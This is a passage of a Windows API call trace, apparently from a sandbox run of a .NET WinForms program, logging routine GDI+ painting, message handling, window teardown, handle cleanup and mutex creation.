(graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0177.892] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0177.892] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0177.892] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0177.893] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0177.893] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0177.893] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0177.893] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0177.893] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.894] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0177.894] GdipCreateRegion (region=0x15dc20) returned 0x0 [0177.894] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0177.894] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0177.894] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0177.894] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0177.894] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0177.894] GetSystemMetrics (nIndex=42) returned 0 [0177.894] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0177.894] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0177.894] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0177.894] CoTaskMemFree (pv=0x1e91eca0) [0177.894] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0177.895] GdipCreateRegion (region=0x15d710) returned 0x0 [0177.895] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0177.895] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0177.895] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0177.895] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0177.895] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0177.895] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0177.895] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0177.896] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0177.896] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0177.896] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0177.896] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0177.896] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.897] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0177.897] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0177.897] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0177.897] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0177.897] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.897] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0177.899] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0177.899] GetCurrentObject (hdc=0x31010baf, type=0x1) returned 0x1b00017 [0177.899] GetCurrentObject (hdc=0x31010baf, type=0x2) returned 0x1900010 [0177.899] GetCurrentObject (hdc=0x31010baf, type=0x7) returned 0x1a05067e [0177.899] GetCurrentObject (hdc=0x31010baf, type=0x6) returned 0x18a002e [0177.900] SaveDC (hdc=0x31010baf) returned 1 [0177.900] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x740407c3 [0177.900] GetClipRgn (hdc=0x31010baf, hrgn=0x740407c3) returned 0 [0177.900] SelectClipRgn (hdc=0x31010baf, hrgn=0x44040b8a) returned 2 [0177.900] DeleteObject (ho=0x740407c3) returned 1 [0177.900] DeleteObject (ho=0x44040b8a) returned 1 [0177.900] OffsetViewportOrgEx (in: hdc=0x31010baf, x=0, y=0, lppt=0x2768f18 | out: lppt=0x2768f18) returned 1 [0177.900] GetNearestColor (hdc=0x31010baf, color=0xffffff) returned 0xffffff [0177.900] CreateSolidBrush (color=0xffffff) returned 0x4c100190 [0177.900] FillRect (hDC=0x31010baf, lprc=0x15d7c0, hbr=0x4c100190) returned 1 [0177.901] DeleteObject (ho=0x4c100190) returned 1 [0177.901] RestoreDC (hdc=0x31010baf, nSavedDC=-1) returned 1 [0177.901] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.901] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x31010baf) returned 0x0 [0177.901] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb4e0dbd) returned 0x0 [0177.901] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.901] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0177.901] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0177.901] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0177.901] GetSystemMetrics (nIndex=42) returned 0 [0177.901] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0177.901] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0177.901] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0177.901] CoTaskMemFree (pv=0x1e91eca0) [0177.901] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0177.902] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0177.902] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0177.902] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0177.902] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x31010baf, x1=0, y1=0, rop=0xcc0020) returned 1 [0177.902] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.902] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x31010baf) returned 0x0 [0177.902] SelectObject (hdc=0x31010baf, h=0x185000f) returned 0x1a05067e [0177.902] DeleteDC (hdc=0x31010baf) returned 1 [0177.902] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.902] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0177.902] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0177.902] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0177.903] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0177.903] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0177.903] WaitMessage () returned 1 [0178.016] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0178.016] IsWindowUnicode (hWnd=0x2031e) returned 1 [0178.016] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0178.016] TranslateMessage (lpMsg=0x15e910) returned 0 [0178.016] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0178.016] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0178.016] GetCurrentThreadId () returned 0xec0 [0178.016] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0178.016] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0178.016] IsWindowUnicode (hWnd=0x2031e) returned 1 [0178.016] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0178.016] TranslateMessage (lpMsg=0x15e910) returned 0 [0178.016] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0178.016] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0178.016] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0178.017] CreateCompatibleDC (hdc=0x2d010b73) returned 0x32010baf [0178.017] SelectObject (hdc=0x32010baf, h=0x1a05067e) returned 0x185000f [0178.017] GdipCreateFromHDC (hdc=0x32010baf, graphics=0x15daf0) returned 0x0 [0178.017] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0178.017] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0178.017] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0178.017] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0178.017] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0178.017] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0178.017] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0178.018] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0178.018] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0178.018] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0178.019] GdipCreateRegion (region=0x15dc20) returned 0x0 [0178.019] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0178.019] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0178.019] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0178.019] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0178.019] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0178.019] GetSystemMetrics (nIndex=42) returned 0 [0178.019] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0178.019] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0178.019] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0178.019] CoTaskMemFree (pv=0x1e91eca0) [0178.019] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0178.019] GdipCreateRegion (region=0x15d710) returned 0x0 [0178.019] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0178.019] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0178.020] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0178.020] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0178.020] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0178.020] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0178.020] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0178.020] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0178.020] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0178.020] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0178.021] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0178.021] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0178.021] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0178.021] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0178.021] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0178.021] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0178.021] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0178.021] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0178.021] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0178.021] GetCurrentObject (hdc=0x32010baf, type=0x1) returned 0x1b00017 [0178.021] GetCurrentObject (hdc=0x32010baf, type=0x2) returned 0x1900010 [0178.021] GetCurrentObject (hdc=0x32010baf, type=0x7) returned 0x1a05067e [0178.021] GetCurrentObject (hdc=0x32010baf, type=0x6) returned 0x18a002e [0178.022] SaveDC (hdc=0x32010baf) returned 1 [0178.022] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x45040b8a [0178.022] GetClipRgn (hdc=0x32010baf, hrgn=0x45040b8a) returned 0 [0178.022] SelectClipRgn (hdc=0x32010baf, hrgn=0x750407c3) returned 2 [0178.022] DeleteObject (ho=0x45040b8a) returned 1 [0178.022] DeleteObject (ho=0x750407c3) returned 1 [0178.022] OffsetViewportOrgEx (in: hdc=0x32010baf, x=0, y=0, lppt=0x276a260 | out: lppt=0x276a260) returned 1 [0178.022] GetNearestColor (hdc=0x32010baf, color=0xffffff) returned 0xffffff [0178.022] CreateSolidBrush (color=0xffffff) returned 0x4d100190 [0178.022] FillRect (hDC=0x32010baf, lprc=0x15d7c0, hbr=0x4d100190) returned 1 [0178.023] DeleteObject (ho=0x4d100190) returned 1 [0178.023] RestoreDC (hdc=0x32010baf, nSavedDC=-1) returned 1 [0178.023] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0178.023] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x32010baf) returned 0x0 [0178.023] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb4c0dbd) returned 0x0 [0178.023] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0178.023] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0178.023] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0178.023] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0178.023] GetSystemMetrics (nIndex=42) returned 0 [0178.023] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0178.023] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0178.023] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0178.023] CoTaskMemFree (pv=0x1e91eca0) [0178.024] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x8) returned 0x0 [0178.025] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0178.025] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0178.025] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0178.025] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0178.025] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x32010baf, x1=0, y1=0, rop=0xcc0020) returned 1 [0178.026] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0178.026] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x32010baf) returned 0x0 [0178.026] SelectObject (hdc=0x32010baf, h=0x185000f) returned 0x1a05067e [0178.026] DeleteDC (hdc=0x32010baf) returned 1 [0178.026] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0178.026] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0178.026] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0178.026] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0178.026] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0178.026] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0178.026] WaitMessage () returned 1 [0178.101] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0178.102] GetMessageA (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 0 [0178.169] GetWindowLongPtrW (hWnd=0x702f6, nIndex=-20) returned 0x10309 [0178.170] DestroyWindow (hWnd=0x702f6) returned 1 [0178.197] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0178.197] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x46, wParam=0x0, lParam=0x15e390) returned 0x0 [0178.208] GetWindowPlacement (in: hWnd=0x702f6, lpwndpl=0x15ddf0 | out: lpwndpl=0x15ddf0) returned 1 [0178.209] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x47, wParam=0x0, lParam=0x15e390) returned 0x0 [0178.209] GetClientRect (in: hWnd=0x702f6, lpRect=0x15db90 | out: lpRect=0x15db90) returned 1 [0178.209] GetWindowRect (in: hWnd=0x702f6, lpRect=0x15db90 | out: lpRect=0x15db90) returned 1 [0178.210] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0178.211] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0178.211] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0178.214] PostThreadMessageW (idThread=0xec0, Msg=0x12, wParam=0x0, lParam=0x0) returned 1 [0178.216] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0178.217] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0178.217] CallWindowProcW (lpPrevWndFunc=0x7fefbda61b4, hWnd=0x20320, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0178.217] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0178.217] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.221] CallWindowProcW (lpPrevWndFunc=0x7fefbda61b4, hWnd=0x20320, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.222] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.224] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.224] DestroyWindow (hWnd=0x602f8) returned 1 [0178.224] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x602f8, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0178.224] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x602f8, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0178.225] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x602f8, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.563] GetCurrentThreadId () returned 0xec0 [0178.566] EnumThreadWindows (dwThreadId=0xec0, lpfn=0x1ff52ac, lParam=0x0) returned 1 [0178.566] IsWindowVisible (hWnd=0x90050) returned 0 [0178.566] IsWindowVisible (hWnd=0x40316) returned 0 [0178.567] IsWindowVisible (hWnd=0x20322) returned 0 [0178.568] GetCurrentThreadId () returned 0xec0 [0178.569] GetCurrentThreadId () returned 0xec0 [0178.569] EnumThreadWindows (dwThreadId=0xec0, lpfn=0x1ff52fc, lParam=0x0) returned 1 [0178.570] IsWindowVisible (hWnd=0x90050) returned 0 [0178.570] IsWindowVisible (hWnd=0x40316) returned 0 [0178.570] IsWindowVisible (hWnd=0x20322) returned 0 [0178.570] OleUninitialize () [0178.571] CloseHandle (hObject=0x18c) returned 1 [0178.571] DeactivateActCtx (dwFlags=0x0, ulCookie=0x11b3b14d00000002) returned 1 [0178.572] CoGetContextToken (in: pToken=0x15fb00 | out: pToken=0x15fb00) returned 0x0 [0178.573] CObjectContext::QueryInterface () returned 0x0 [0178.573] CObjectContext::GetCurrentThreadType () returned 0x0 [0178.573] Release () returned 0x0 [0178.574] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x13880, cHandles=0x1, pHandles=0x4abca0*=0x7c, lpdwindex=0x15f840 | out: lpdwindex=0x15f840) returned 0x0 Thread: id = 2 os_tid = 0xecc Thread: id = 3 os_tid = 0xed0 [0078.541] CoGetContextToken (in: pToken=0x1af3f460 | out: pToken=0x1af3f460) returned 0x800401f0 [0078.542] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0139.881] CloseHandle (hObject=0x384) returned 1 [0139.882] CertFreeCRLContext (pCrlContext=0x1e979500) returned 1 [0139.882] CertFreeCRLContext (pCrlContext=0x1e979480) returned 1 [0139.883] CloseHandle (hObject=0x3ec) returned 1 [0139.883] CloseHandle (hObject=0x440) returned 1 [0139.884] CloseHandle (hObject=0x43c) returned 1 [0139.884] CloseHandle (hObject=0x354) returned 1 [0139.885] CertCloseStore (hCertStore=0x1af919f0, dwFlags=0x0) returned 1 [0139.885] CloseHandle (hObject=0x498) returned 1 [0139.885] CloseHandle (hObject=0x494) returned 1 [0139.886] CloseHandle (hObject=0x3e8) returned 1 [0139.886] CloseHandle (hObject=0x3e4) returned 1 [0139.887] CloseHandle (hObject=0x3e0) returned 1 [0139.888] CloseHandle (hObject=0x50c) returned 1 [0139.888] CertFreeCRLContext (pCrlContext=0x1b023400) returned 1 [0139.889] CertFreeCRLContext (pCrlContext=0x1b023480) returned 1 [0139.889] CloseHandle (hObject=0x364) returned 1 [0139.890] CloseHandle (hObject=0x4c4) returned 1 [0139.891] CloseHandle (hObject=0x3dc) returned 1 [0139.891] CertFreeCRLContext (pCrlContext=0x1b023400) returned 1 [0139.891] CloseHandle (hObject=0x4d0) returned 1 [0139.892] CloseHandle (hObject=0x348) returned 1 [0139.892] CloseHandle (hObject=0x338) returned 1 [0139.893] CloseHandle (hObject=0x340) returned 1 [0139.894] CloseHandle (hObject=0x388) returned 1 [0139.895] CloseHandle (hObject=0x344) returned 1 [0178.592] SetWindowLongPtrW (hWnd=0x700a8, nIndex=-4, dwNewLong=0x772ab0ac) returned 0x1fe17ac [0178.594] SetClassLongPtrW (hWnd=0x700a8, nIndex=-24, dwNewLong=0x772ab0ac) returned 0x1fe175c [0178.595] PostMessageW (hWnd=0x700a8, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0178.596] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0178.597] UnregisterClassW (lpClassName="WindowsForms10.STATIC.app.0.33c0d9d", hInstance=0x260000) returned 1 [0178.597] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0178.597] UnregisterClassW (lpClassName="WindowsForms10.Window.0.app.0.33c0d9d", hInstance=0x260000) returned 1 [0178.598] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0178.598] UnregisterClassW (lpClassName="WindowsForms10.Window.8.app.0.33c0d9d", hInstance=0x260000) returned 0 [0178.600] DeleteAtom (nAtom=0xc000) returned 0x0 [0178.600] FindAtomW (lpString="GDI+Atom_3772_1") returned 0x0 [0178.601] IsWindow (hWnd=0x90050) returned 1 [0178.602] GetModuleHandleW (lpModuleName="user32.dll") returned 0x77060000 [0178.604] CoTaskMemAlloc (cb=0x10) returned 0x1afbc7d0 [0178.604] GetProcAddress (hModule=0x77060000, lpProcName="DefWindowProcW") returned 0x772ab0ac [0178.604] CoTaskMemFree (pv=0x1afbc7d0) [0178.605] SetWindowLongPtrW (hWnd=0x90050, nIndex=-4, dwNewLong=0x772ab0ac) returned 0x1ff16cc [0178.606] SetClassLongPtrW (hWnd=0x90050, nIndex=-24, dwNewLong=0x772ab0ac) returned 0x1ff16cc [0178.606] IsWindow (hWnd=0x90050) returned 1 [0178.607] DestroyWindow (hWnd=0x90050) returned 0 [0178.609] PostMessageW (hWnd=0x90050, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0178.609] SetConsoleCtrlHandler (HandlerRoutine=0x1fe192c, Add=0) returned 1 [0178.609] DeleteObject (ho=0x32080181) returned 1 [0178.609] DeleteObject (ho=0x1a05067e) returned 1 [0178.612] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2789230, cbSid=0x1af3ef20 | out: pSid=0x2789230*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1af3ef20) returned 1 [0178.613] CreateMutexW (lpMutexAttributes=0x27893e8, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x1f4 [0178.613] WaitForSingleObject (hHandle=0x1f4, dwMilliseconds=0x1f4) returned 0x0 [0178.613] ReleaseMutex (hMutex=0x1f4) returned 1 [0178.613] CloseHandle (hObject=0x1f4) returned 1 [0178.614] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2789740, cbSid=0x1af3ef20 | out: pSid=0x2789740*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1af3ef20) returned 1 [0178.614] CreateMutexW (lpMutexAttributes=0x27898f8, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x1f4 [0178.614] WaitForSingleObject (hHandle=0x1f4, dwMilliseconds=0x1f4) returned 0x0 [0178.614] ReleaseMutex (hMutex=0x1f4) returned 1 [0178.614] CloseHandle (hObject=0x1f4) returned 1 [0178.614] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2789c50, cbSid=0x1af3ef20 | out: pSid=0x2789c50*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1af3ef20) returned 1 [0178.615] CreateMutexW (lpMutexAttributes=0x2789e08, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x1f4 [0178.615] WaitForSingleObject (hHandle=0x1f4, dwMilliseconds=0x1f4) returned 0x0 [0178.615] ReleaseMutex (hMutex=0x1f4) returned 1 [0178.615] CloseHandle (hObject=0x1f4) returned 1 [0178.615] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x278a160, cbSid=0x1af3ef20 | out: pSid=0x278a160*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1af3ef20) returned 1 [0178.615] CreateMutexW (lpMutexAttributes=0x278a318, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x1f4 [0178.615] WaitForSingleObject (hHandle=0x1f4, dwMilliseconds=0x1f4) returned 0x0 [0178.616] ReleaseMutex (hMutex=0x1f4) returned 1 [0178.616] CloseHandle (hObject=0x1f4) returned 1 [0178.616] CreateWellKnownSid (in: WellKnownSidType=0x11, 